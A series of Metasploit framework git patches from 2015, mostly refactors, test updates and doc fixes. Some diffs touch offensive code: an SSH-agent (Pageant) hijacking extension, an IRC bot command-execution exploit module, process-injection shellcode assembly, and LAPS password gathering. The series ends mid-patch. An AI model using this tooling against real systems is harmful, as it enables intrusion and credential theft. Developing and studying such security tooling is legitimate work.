FactoryGirl.create(:mdm_workspace) + end + + let(:host) do + FactoryGirl.create(:mdm_host, workspace: workspace) + end + + let(:refs) do + [ FactoryGirl.create(:mdm_ref) ] + end + + let(:vuln) do + FactoryGirl.create(:mdm_vuln) + end + + let(:opts) do + { + workspace: workspace, + refs: refs, + host: host, + vuln: vuln, + } + end + + context 'with a vuln' do + specify do + expect { + report_exploit_failure + }.to change(Mdm::VulnAttempt,:count).by(1) + end + + it "should not create a match result" do + expect { + report_exploit_failure + }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0) + end + + context "calling report_exploit_success" do + after(:each) do + report_exploit_failure + end + + it "should call create_match_result_for_vuln" do + db_manager.should_receive(:create_match_result_for_vuln) + end + + it "should not call create_match_result" do + db_manager.should_not_receive(:create_match_result) + end + + it "should call create_run_for_vuln" do + db_manager.should_receive(:create_run_for_vuln) + end + end + + end + + context 'without a vuln' do + let(:vuln) { nil } + + specify do + expect { + report_exploit_failure + }.not_to change(Mdm::VulnAttempt, :count) + end + + it "should not create a match result" do + expect { + report_exploit_failure + }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0) + end + + context "calling report_exploit_success" do + after(:each) do + report_exploit_failure + end + + it "should not call create_match_result_for_vuln" do + db_manager.should_not_receive(:create_match_result_for_vuln) + end + + it "should not call create_match_result" do + db_manager.should_not_receive(:create_match_result) + end + + it "should not call create_run_for_vuln" do + db_manager.should_not_receive(:create_run_for_vuln) + end + end + + end + end + end + + + describe '#report_exploit_success' do context "with a match" do subject(:report_exploit_success) do db_manager.report_exploit_success(opts) @@ -52,42 +271,20 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do }.to change(Mdm::VulnAttempt,:count).by(1) end - context "with a session" do - it "should create a match result" do - expect { - report_exploit_success - }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(1) - end - - it "should create a match result with state SUCCEEDED" do + it "should create a match result" do + expect { report_exploit_success - expect( - MetasploitDataModels::AutomaticExploitation::MatchResult.where( - match_id: match.id, - state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED - ) - ).to exist - end + }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(1) end - context "without a session" do - let(:session_id) {nil} - - it "should create a match result" do - expect { - report_exploit_success - }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(1) - end - - it "should create a match result with state FAILED" do - report_exploit_success - expect( - MetasploitDataModels::AutomaticExploitation::MatchResult.where( - match_id: match.id, - state: MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED - ) - ).to exist - end + it "should create a match result with state SUCCEEDED" do + report_exploit_success + expect( + MetasploitDataModels::AutomaticExploitation::MatchResult.where( + match_id: match.id, + state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED + ) + ).to exist end context "calling report_exploit_success" do @@ -250,6 +447,5 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end end - end end From fb051edc2eb007f0cc7a307a924da314c48e59a2 Mon Sep 17 00:00:00 2001 From: Mo Sadek <msadek@rapid7.com> Date: Fri, 18 Sep 2015 12:48:30 -0500 Subject: [PATCH 0674/2172] Changed the rspec --- .../exploit/remote/browser_exploit_server_spec.rb | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 59597e7f04..7b0cb6a545 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -142,16 +142,6 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end - - describe '#get_detection_html' do - it "returns the detection code that the client will get" do - expected_user_agent = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' - html = server.get_detection_html(expected_user_agent) - expect(html).not_to eq('') - end - end - - describe '#on_request_exploit' do it "raises a NoMethodError if called" do fake_cli = nil @@ -429,4 +419,3 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end - From 0bf20993ec58ec4bec4b9238fcbed43e0ab8a43e Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 18 Sep 2015 13:35:31 -0500 Subject: [PATCH 0675/2172] Fix more doc --- lib/msf/util/exe.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index ede493bed3..5df5ba5098 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -21,7 +21,6 @@ require 'digest/sha1' require 'msf/core/exe/segment_injector' require 'msf/core/exe/segment_appender' - # self.set_template_default # Generates a default template # # @param opts [Hash] The options hash @@ -490,9 +489,9 @@ require 'msf/core/exe/segment_appender' # # @param code [String] # @param opts [Hash] - # @option opts [Hash] :exe_type - # @option opts [Hash] :service_exe - # @option opts [Hash] :sub_method + # @option opts [Symbol] :exe_type + # @option opts [String] :service_exe + # @option opts [Boolean] :sub_method # @return [String] def self.exe_sub_method(code,opts ={}) pe = self.get_file_contents(opts[:template]) @@ -2277,8 +2276,9 @@ require 'msf/core/exe/segment_appender' # self.find_payload_tag # - # @param mo [Array] + # @param mo [String] # @param err_msg [String] + # @raise [RuntimeError] if the "PAYLOAD:" is not found # @return [Fixnum] def self.find_payload_tag(mo, err_msg) bo = mo.index('PAYLOAD:') From 61e7e1d094af7cb9339b4fe0763eaa71bff12fcc Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Sun, 20 Sep 2015 20:25:00 -0500 Subject: [PATCH 0676/2172] update pageantjacker to run as part of extapi --- .../meterpreter/extensions/extapi/extapi.rb | 2 + .../extensions/extapi/pageant/pageant.rb | 44 ++++++++++++++ .../post/meterpreter/extensions/extapi/tlv.rb | 6 ++ .../extensions/pageantjacker/pageantjacker.rb | 56 ----------------- .../extensions/pageantjacker/tlv.rb | 18 ------ .../command_dispatcher/pageantjacker.rb | 60 ------------------- .../post/windows/manage/forward_pageant.rb | 27 +++++---- 7 files changed, 66 insertions(+), 147 deletions(-) create mode 100644 lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb delete mode 100644 lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb delete mode 100644 lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb delete mode 100644 lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb diff --git a/lib/rex/post/meterpreter/extensions/extapi/extapi.rb b/lib/rex/post/meterpreter/extensions/extapi/extapi.rb index ecc0852d9a..900087ea6d 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/extapi.rb @@ -6,6 +6,7 @@ require 'rex/post/meterpreter/extensions/extapi/service/service' require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard' require 'rex/post/meterpreter/extensions/extapi/adsi/adsi' require 'rex/post/meterpreter/extensions/extapi/ntds/ntds' +require 'rex/post/meterpreter/extensions/extapi/pageant/pageant' require 'rex/post/meterpreter/extensions/extapi/wmi/wmi' module Rex @@ -36,6 +37,7 @@ class Extapi < Extension 'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client), 'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client), 'ntds' => Rex::Post::Meterpreter::Extensions::Extapi::Ntds::Ntds.new(client), + 'pageant' => Rex::Post::Meterpreter::Extensions::Extapi::Pageant::Pageant.new(client), 'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client) }) }, diff --git a/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb b/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb new file mode 100644 index 0000000000..dda54561ca --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb @@ -0,0 +1,44 @@ +# -*- coding: binary -*- + +module Rex + module Post + module Meterpreter + module Extensions + module Extapi + module Pageant + ### + # PageantJacker extension - Hijack and interact with Pageant + # + # Stuart Morgan <stuart.morgan@mwrinfosecurity.com> + # + ### + class Pageant + def initialize(client) + @client = client + end + + def forward(blob, size) + return nil unless size > 0 && blob.size > 0 + + packet_request = Packet.create_request('extapi_pageant_send_query') + packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN, size) + packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN, blob) + + response = client.send_request(packet_request) + return nil unless response + + { + success: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_STATUS), + blob: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB), + error: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE) + } + end + + attr_accessor :client + end + end + end + end + end + end +end diff --git a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb index 99a7cf3a85..2abce50ccd 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb @@ -75,6 +75,12 @@ TLV_TYPE_EXT_ADSI_DN = TLV_META_TYPE_GROUP | (TLV_TYPE_E TLV_TYPE_NTDS_TEST = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 80) TLV_TYPE_NTDS_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 81) +TLV_TYPE_EXTENSION_PAGEANT_STATUS = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 85) +TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 86) +TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 87) +TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 88) +TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 89) + TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90) TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91) TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92) diff --git a/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb b/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb deleted file mode 100644 index d98abc8fd8..0000000000 --- a/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb +++ /dev/null @@ -1,56 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/post/meterpreter/extensions/pageantjacker/tlv' - -module Rex -module Post -module Meterpreter -module Extensions -module Pageantjacker - -### -# -# PageantJacker extension - Hijack and interact with Pageant -# -# Stuart Morgan <stuart.morgan@mwrinfosecurity.com> -# -### - -class Pageantjacker < Extension - - def initialize(client) - super(client, 'pageantjacker') - - client.register_extension_aliases( - [ - { - 'name' => 'pageantjacker', - 'ext' => self - }, - ]) - end - - def forward_to_pageant(blob,size) - return unless size > 0 - return unless blob.size > 0 - - packet_request = Packet.create_request('pageant_send_query') - packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_SIZE_IN, size) - packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_BLOB_IN, blob) - - response = client.send_request(packet_request) - return nil if !response - - pageant_plugin_response = { - success: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS), - blob: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB), - error: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE) - } - - return pageant_plugin_response - end - -end - -end; end; end; end; end - diff --git a/lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb b/lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb deleted file mode 100644 index 56798875d9..0000000000 --- a/lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb +++ /dev/null @@ -1,18 +0,0 @@ -# -*- coding: binary -*- -module Rex -module Post -module Meterpreter -module Extensions -module Pageantjacker - -TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 1) -TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2) -TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 3) -TLV_TYPE_EXTENSION_PAGEANTJACKER_SIZE_IN = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 4) -TLV_TYPE_EXTENSION_PAGEANTJACKER_BLOB_IN = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 5) - -end -end -end -end -end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb deleted file mode 100644 index 598fea8154..0000000000 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb +++ /dev/null @@ -1,60 +0,0 @@ -# -*- coding: binary -*- -require 'rex/post/meterpreter' - -module Rex -module Post -module Meterpreter -module Ui - -### -# -# PageantJacker extension -# -### -class Console::CommandDispatcher::PageantJacker - - Klass = Console::CommandDispatcher::PageantJacker - - include Console::CommandDispatcher - - def initialize(shell) - super - print_line - print_line - print_line(" .mMMMMMm. mMMm M WWW W W RRRRR") - print_line(" mMMMMMMMMMMM. MM MM W W W R R") - print_line(" /MMMM- -MM. MM MM W W W R R") - print_line(" /MMM. _ \/ ^ M M M M W W W W RRRR") - print_line(" |M. aRRr /W| M M M M W W W W R R") - print_line(" \/ .. ^^^ wWWW| M M M W W R R") - print_line(" /WW\. .wWWWW/ M M M W W R R") - print_line(" |WWWWWWWWWWW/") - print_line(" .WWWWWW. PageantJacker Extension") - print_line(" stuart.morgan@mwrinfosecurity.com") - print_line - print_line(" Use post/windows/manage/forward_pageant to proxy through Pageant") - print_line - end - - # - # List of supported commands. - # - def commands - { - # No commands here, bceause everything is done from the POST module - } - end - - # - # Name for this dispatcher - # - def name - "PageantJacker" - end -end - -end -end -end -end - diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index 70b410f52c..d8dbf4ee18 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -38,6 +38,19 @@ class Metasploit3 < Msf::Post ], self.class) end + def setup + unless session.extapi + vprint_status("Loading extapi extension...") + begin + session.core.use("extapi") + rescue Errno::ENOENT + print_error("This module is only available in a windows meterpreter session.") + return + end + end + end + + def run # Check to ensure that UNIX sockets are supported begin @@ -47,18 +60,6 @@ class Metasploit3 < Msf::Post return false end - # Attempt to load the pageantjacker extension if it isn't already loaded. - unless session.pageantjacker - print_status("Loading PageantJacker extension on session #{session.sid} (#{session.session_host})") - session.core.use("pageantjacker") - end - - # Fail if it cannot be loaded - unless session.pageantjacker - print_error("Failed to load PageantJacker on session #{session.sid} (#{session.session_host})") - return false - end - # Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one) if datastore['SocketPath'] @sockpath = datastore['SocketPath'].to_s @@ -84,7 +85,7 @@ class Metasploit3 < Msf::Post socket_request_data = s.recvfrom(8192) # 8192 = AGENT_MAX break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty? vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})") - response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size) + response = session.extapi.pageant.forward(socket_request_data.first, socket_request_data.first.size) if response[:success] begin s.send response[:blob], 0 From 62ff291713d477836272c1cacdc850e20047d1fa Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 21 Sep 2015 13:19:23 -0500 Subject: [PATCH 0677/2172] Fix msfrop metasm require --- lib/rex/ropbuilder.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/ropbuilder.rb b/lib/rex/ropbuilder.rb index 635119972c..3b24886cd4 100644 --- a/lib/rex/ropbuilder.rb +++ b/lib/rex/ropbuilder.rb @@ -3,6 +3,6 @@ module Rex module RopBuilder require 'rex/ropbuilder/rop' -require 'metasm/metasm' +require 'metasm' end end From 415fa3a24454e485da494b4beb33d21bb25e6708 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 21 Sep 2015 14:33:00 -0500 Subject: [PATCH 0678/2172] Fix #5968, some modules not handling Rex::Post::Meterpreter::RequestError exceptions * Related to the usage of ADSI on unsupported OSes --- modules/post/windows/gather/credentials/enum_laps.rb | 2 +- modules/post/windows/gather/enum_ad_bitlocker.rb | 8 +++++++- modules/post/windows/gather/enum_ad_computers.rb | 8 +++++++- 3 files changed, 15 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/credentials/enum_laps.rb b/modules/post/windows/gather/credentials/enum_laps.rb index fdddae6821..9a6f9595cc 100644 --- a/modules/post/windows/gather/credentials/enum_laps.rb +++ b/modules/post/windows/gather/credentials/enum_laps.rb @@ -51,7 +51,7 @@ class Metasploit3 < Msf::Post begin q = query(search_filter, max_search, FIELDS) - rescue RuntimeError => e + rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e print_error(e.message) return end diff --git a/modules/post/windows/gather/enum_ad_bitlocker.rb b/modules/post/windows/gather/enum_ad_bitlocker.rb index c72c4981d0..2801d749ab 100644 --- a/modules/post/windows/gather/enum_ad_bitlocker.rb +++ b/modules/post/windows/gather/enum_ad_bitlocker.rb @@ -39,7 +39,13 @@ class Metasploit3 < Msf::Post fields = datastore['FIELDS'].gsub(/\s+/, "").split(',') search_filter = datastore['FILTER'] max_search = datastore['MAX_SEARCH'] - q = query(search_filter, max_search, fields) + + begin + q = query(search_filter, max_search, fields) + rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e + print_error(e.message) + return + end if q.nil? || q[:results].empty? print_status('No results found...') diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb index 93d937663c..27f3a742c3 100644 --- a/modules/post/windows/gather/enum_ad_computers.rb +++ b/modules/post/windows/gather/enum_ad_computers.rb @@ -60,7 +60,13 @@ class Metasploit3 < Msf::Post fields = datastore['FIELDS'].gsub(/\s+/,"").split(',') search_filter = datastore['FILTER'] max_search = datastore['MAX_SEARCH'] - q = query(search_filter, max_search, fields) + + begin + q = query(search_filter, max_search, fields) + rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e + print_error(e.message) + return + end return if q.nil? or q[:results].empty? From 8106bcc3205ca3b2cb260ca5b0e55ddf77701b40 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Fri, 18 Sep 2015 17:12:40 -0500 Subject: [PATCH 0679/2172] Clean up module --- modules/exploits/multi/misc/w3tw0rk_exec.rb | 32 ++++++++++----------- 1 file changed, 15 insertions(+), 17 deletions(-) diff --git a/modules/exploits/multi/misc/w3tw0rk_exec.rb b/modules/exploits/multi/misc/w3tw0rk_exec.rb index cbdf3e8c14..9681bb3da0 100644 --- a/modules/exploits/multi/misc/w3tw0rk_exec.rb +++ b/modules/exploits/multi/misc/w3tw0rk_exec.rb @@ -5,8 +5,8 @@ require 'msf/core' - class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DisableNops' => true, 'Compat' => { - 'PayloadType' => 'cmd', + 'PayloadType' => 'cmd' } }, 'Targets' => @@ -59,13 +59,13 @@ class Metasploit3 < Msf::Exploit::Remote connect res = register(sock) - if res =~ /463/ or res =~ /464/ + if res =~ /463/ || res =~ /464/ vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return Exploit::CheckCode::Unknown end res = join(sock) - if not res =~ /353/ and not res =~ /366/ + if !res =~ /353/ && !res =~ /366/ vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") return Exploit::CheckCode::Unknown end @@ -73,10 +73,10 @@ class Metasploit3 < Msf::Exploit::Remote quit(sock) disconnect - if res =~ /auth/ and res =~ /logged in/ - return Exploit::CheckCode::Vulnerable + if res =~ /auth/ && res =~ /logged in/ + Exploit::CheckCode::Vulnerable else - return Exploit::CheckCode::Safe + Exploit::CheckCode::Safe end end @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote data = "" begin read_data = sock.get_once(-1, 1) - while not read_data.nil? + while !read_data.nil? data << read_data read_data = sock.get_once(-1, 1) end @@ -99,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote def register(sock) msg = "" - if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty? + if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty? msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" end @@ -113,21 +113,18 @@ class Metasploit3 < Msf::Exploit::Remote msg << "NICK #{nick}\r\n" msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" - res = send_msg(sock,msg) - return res + send_msg(sock,msg) end def join(sock) join_msg = "JOIN #{datastore['CHANNEL']}\r\n" - res = send_msg(sock, join_msg) - return res + send_msg(sock, join_msg) end def w3tw0rk_command(sock) encoded = payload.encoded command_msg = "PRIVMSG #{datastore['CHANNEL']} :!bot #{encoded}\r\n" - res = send_msg(sock, command_msg) - return res + send_msg(sock, command_msg) end def quit(sock) @@ -140,14 +137,14 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Registering with the IRC Server...") res = register(sock) - if res =~ /463/ or res =~ /464/ + if res =~ /463/ || res =~ /464/ print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return end print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...") res = join(sock) - if not res =~ /353/ and not res =~ /366/ + if !res =~ /353/ && !res =~ /366/ print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") return end @@ -158,4 +155,5 @@ class Metasploit3 < Msf::Exploit::Remote quit(sock) disconnect end + end From 2b7ffdc312e4d8bfbcc6df5d79c9027534a82cda Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 21 Sep 2015 17:48:05 -0500 Subject: [PATCH 0680/2172] Use datastore advanced options used by smb_login --- modules/auxiliary/scanner/smb/smb_login.rb | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index 257a28b7fe..be1a3eae84 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -55,9 +55,6 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::Proxies, - OptString.new('SMBPass', [ false, "SMB Password" ]), - OptString.new('SMBUser', [ false, "SMB Username" ]), - OptString.new('SMBDomain', [ false, "SMB Domain", '' ]), OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true ]), OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false ]) ], self.class) @@ -79,6 +76,16 @@ class Metasploit3 < Msf::Auxiliary send_delay: datastore['TCP::send_delay'], framework: framework, framework_module: self, + smb_verify_signature: datastore['SMB::VerifySignature'], + use_ntlmv2: datastore['NTLM::UseNTLMv2'], + use_ntlm2_session: datastore['NTLM::UseNTLM2_session'], + send_lm: datastore['NTLM::SendLM'], + use_lmkey: datastore['NTLM::UseLMKey'], + send_ntlm: datastore['NTLM::SendNTLM'], + smb_native_os: datastore['SMB::Native_OS'], + smb_native_lm: datastore['SMB::Native_LM'], + send_spn: datastore['NTLM::SendSPN'], + host: ip ) bogus_result = @scanner.attempt_bogus_login(domain) From 9230b04674365030408d8ed8eb8807f0654e69d9 Mon Sep 17 00:00:00 2001 From: Fernando Arias <fernando_arias@rapid7.com> Date: Tue, 22 Sep 2015 00:24:38 -0500 Subject: [PATCH 0681/2172] Update match result creation logic MSP-13119 * Look up match on match set for the run * If no match exists in the match set for the vuln, attempt to create a match for the vuln --- lib/msf/core/db_manager/exploit_attempt.rb | 47 +++++++++------------- 1 file changed, 19 insertions(+), 28 deletions(-) diff --git a/lib/msf/core/db_manager/exploit_attempt.rb b/lib/msf/core/db_manager/exploit_attempt.rb index f8113975d8..c1c6e6b047 100644 --- a/lib/msf/core/db_manager/exploit_attempt.rb +++ b/lib/msf/core/db_manager/exploit_attempt.rb @@ -183,17 +183,17 @@ module Msf::DBManager::ExploitAttempt # @option opts [Integer] :run_id # @return [void] def create_match_result_for_vuln(vuln, opts) - run_id = opts[:run_id] - match = MetasploitDataModels::AutomaticExploitation::Match.by_run_id(run_id).last + run = MetasploitDataModels::AutomaticExploitation::Run.where(id:opts[:run_id]).last - # If no match found for run, create a run if a vuln has a match - unless match.present? - match, run = create_run_for_vuln(vuln,opts) - end + if run.present? + match = MetasploitDataModels::AutomaticExploitation::Match.by_run_and_vuln(run,vuln).last + + + # If no match found + unless match.present? + match = create_match_for_vuln(vuln,opts.merge(run:run)) + end - # Only create a match result if a match exists - if match.present? - run ||= MetasploitDataModels::AutomaticExploitation::Run.find(run_id) create_match_result(opts.merge(match:match,run:run)) end end @@ -216,30 +216,21 @@ module Msf::DBManager::ExploitAttempt ) end - # Create a MetasploitDataModels::AutomaticExploitation::Run for the given vuln + # Create a MetasploitDataModels::AutomaticExploitation::Match for the given vuln # @option vuln [Mdm::Vuln] :vuln # @option opts [Mdm::Workspace] :workspace # @option opts [String] :username # @return [ MetasploitDataModels::AutomaticExploitation::Match, MetasploitDataModels::AutomaticExploitation::Run] - def create_run_for_vuln(vuln,opts) - wspace = opts[:workspace] || workspace - username = opts[:username] + def create_match_for_vuln(vuln,opts) + wspace = opts[:workspace] || workspace + run = opts[:run] + module_fullname = opts[:module] - match = vuln.matches.last - - #Only create a run if the vuln has a match - if match.present? - match_set = match.match_set - - user = Mdm::User.where(username: username).first - automatic_exploitation_run = MetasploitDataModels::AutomaticExploitation::Run.new - automatic_exploitation_run.workspace = wspace - automatic_exploitation_run.user = user - match_set.runs << automatic_exploitation_run - - automatic_exploitation_run.save! - [match, automatic_exploitation_run] - end + run.match_set.create_match_for_vuln( + vuln, + workspace: wspace, + module_fullname: module_fullname + ) end end From 46e00389c474e476483567d5bea6bd3484b3f889 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Tue, 22 Sep 2015 18:07:53 +1000 Subject: [PATCH 0682/2172] Adjust payload size for stageless in prepend migrate --- .../core/payload/windows/prepend_migrate.rb | 28 ++++++++++++++++++- 1 file changed, 27 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb index f3f0a194e4..21337af716 100644 --- a/lib/msf/core/payload/windows/prepend_migrate.rb +++ b/lib/msf/core/payload/windows/prepend_migrate.rb @@ -240,8 +240,19 @@ module Msf::Payload::Windows::PrependMigrate ; allocate memory in the process (VirtualAllocEx()) ; get handle push 0x40 ; RWX - add bh,0x10 ; ebx = 0x1000 + add bh, 0x10 ; ebx = 0x1000 push ebx ; MEM_COMMIT + EOS + + if buf.length > 4096 + # probably stageless, so we don't have shellcode size constraints, + # and so we can just set ebx to the size of the payload + migrate_asm << <<-EOS + mov ebx, #{payloadsize} ; stageless size + EOS + end + + migrate_asm << <<-EOS push ebx ; size xor ebx,ebx push ebx ; address @@ -474,7 +485,22 @@ module Msf::Payload::Windows::PrependMigrate ; get handle push 0x40 ; RWX mov r9,0x1000 ; 0x1000 = MEM_COMMIT + EOS + + if buf.length > 4096 + # probably stageless, so we don't have shellcode size constraints, + # and so we can just set r8 to the size of the payload + migrate_asm << <<-EOS + mov r8, #{payloadsize} ; stageless size + EOS + else + # otherwise we'll juse reuse r9 (4096) for size + migrate_asm << <<-EOS mov r8,r9 ; size + EOS + end + + migrate_asm << <<-EOS xor rdx,rdx ; address mov rcx, [rdi] ; handle mov r10d, 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" ) From 8b10cbe3fd3de268564eeb6886f6b79f02ad0bdd Mon Sep 17 00:00:00 2001 From: dmohanty-r7 <Dev_Mohanty@rapid7.com> Date: Tue, 22 Sep 2015 10:50:23 -0500 Subject: [PATCH 0683/2172] Query for vulns without specifying service when service is nil MSP-13284 --- lib/msf/core/db_manager/vuln.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/db_manager/vuln.rb b/lib/msf/core/db_manager/vuln.rb index 0aabdba686..169ad78361 100644 --- a/lib/msf/core/db_manager/vuln.rb +++ 